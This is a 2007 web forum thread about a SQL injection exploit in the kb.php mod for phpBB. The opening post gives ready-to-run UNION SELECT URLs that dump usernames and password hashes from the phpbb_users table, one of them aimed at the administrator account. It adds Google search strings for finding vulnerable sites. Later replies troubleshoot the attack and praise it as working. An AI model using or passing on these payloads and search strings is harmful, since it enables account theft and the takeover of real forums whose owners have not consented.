Waraxe IT Security Portal
Login or Register
November 23, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 115
Members: 0
Total: 115
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> phpBB *kb.php* exploit
Post new topicReply to topic View previous topic :: View next topic
phpBB *kb.php* exploit
PostPosted: Tue Jul 10, 2007 8:24 pm Reply with quote
Sm0ke
Moderator
Moderator
Joined: Nov 25, 2006
Posts: 141
Location: Finland




Code:
http://victim/phpfm/kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+>+0&page_num=2&cat=1


to get only admin user (usually id2) use this
Code:
http://victim/phpfm/kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id=2&page_num=2&cat=1


Google Search:
"Modified by Fully Modded"
"all content is copyright" "its original authors" kb.php
View user's profile Send private message
didn't work
PostPosted: Wed Jul 11, 2007 12:51 pm Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




i got message like this

You don't have permission to access /myktmportal_data/kb.php on this server.

now, what possibly be the wrong. any idea??
View user's profile Send private message
PostPosted: Wed Jul 11, 2007 2:04 pm Reply with quote
Sm0ke
Moderator
Moderator
Joined: Nov 25, 2006
Posts: 141
Location: Finland




make user to that forum, sometimes you need to be logged in
View user's profile Send private message
PostPosted: Wed Jul 11, 2007 5:08 pm Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




seems it's not working and there is no kb.php files anywhere in my server. there is not even common.php in /includes folder.

In fact, i wanted to try if my site is compromised or not. I've a access as administrator and i 've registered as a normal user few hours aGo,

From my laptop, i tried to apply this script but always it says, 'You are unauthorized to view this page" or something like even after logging in as a normal user.

seems it's not working for me. but still i think i'm not safe.

thank you for your time. if anything comes up, please let me know, would be obliged to you.
View user's profile Send private message
PostPosted: Wed Jul 11, 2007 5:19 pm Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




One more thing, my admin page says i'm running latest version of phpbb

so, is this exploit not working because of that? or what? kindly let me know that too.
View user's profile Send private message
PostPosted: Wed Jul 11, 2007 6:43 pm Reply with quote
Sm0ke
Moderator
Moderator
Joined: Nov 25, 2006
Posts: 141
Location: Finland




1. Next time edit your post dont make new post
2. This exploit is for all versions of phpBB, but they must have this mod installed in it
View user's profile Send private message
PostPosted: Sat Jul 14, 2007 9:13 am Reply with quote
blaxenet
Active user
Active user
Joined: Jun 20, 2007
Posts: 26




This exploit works perfect Smile

Good find Sm0ke!

_________________
Blaxenet
View user's profile Send private message Send e-mail Yahoo Messenger
PostPosted: Sat Jul 14, 2007 11:44 am Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




Blaxenet,
how did you do?

i wrote my domain name in place of victim (in following kb script hack) and in place of phpfm, i put the directory where the board is installed. Am i doing something wrong??
,username,char(5Cool,user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+>+0&page_num=2&cat=1" target="_blank">http://victim/phpfm/kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(5Cool,username,char(5Cool,user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+>+0&page_num=2&cat=1
View user's profile Send private message
PostPosted: Sat Jul 14, 2007 11:57 am Reply with quote
blaxenet
Active user
Active user
Joined: Jun 20, 2007
Posts: 26




Let's say there is a vulnerable site http://www.testdomain.tld/phpfm/index.php
Remove the index.php and replace it with the following code;

Code:
kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id=2&page_num=2&cat=1


You may need to be a registered member & signed in for this to work.
Also, the table prefix may not be phpbb_ depending on how it was configured.

If your still having trouble send me a PM or Email with the URL of the website.
Then I will check it out and see what the story is.

_________________
Blaxenet
View user's profile Send private message Send e-mail Yahoo Messenger
PostPosted: Sat Jul 14, 2007 12:36 pm Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




blaxenet, i really appreciate your help. i just sent a pm to you.

thanks.
View user's profile Send private message
PostPosted: Wed Jul 18, 2007 10:25 pm Reply with quote
NpLm
Beginner
Beginner
Joined: Jul 18, 2007
Posts: 1




thanks blaxenet Smile
View user's profile Send private message
phpBB *kb.php* exploit
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.044 Seconds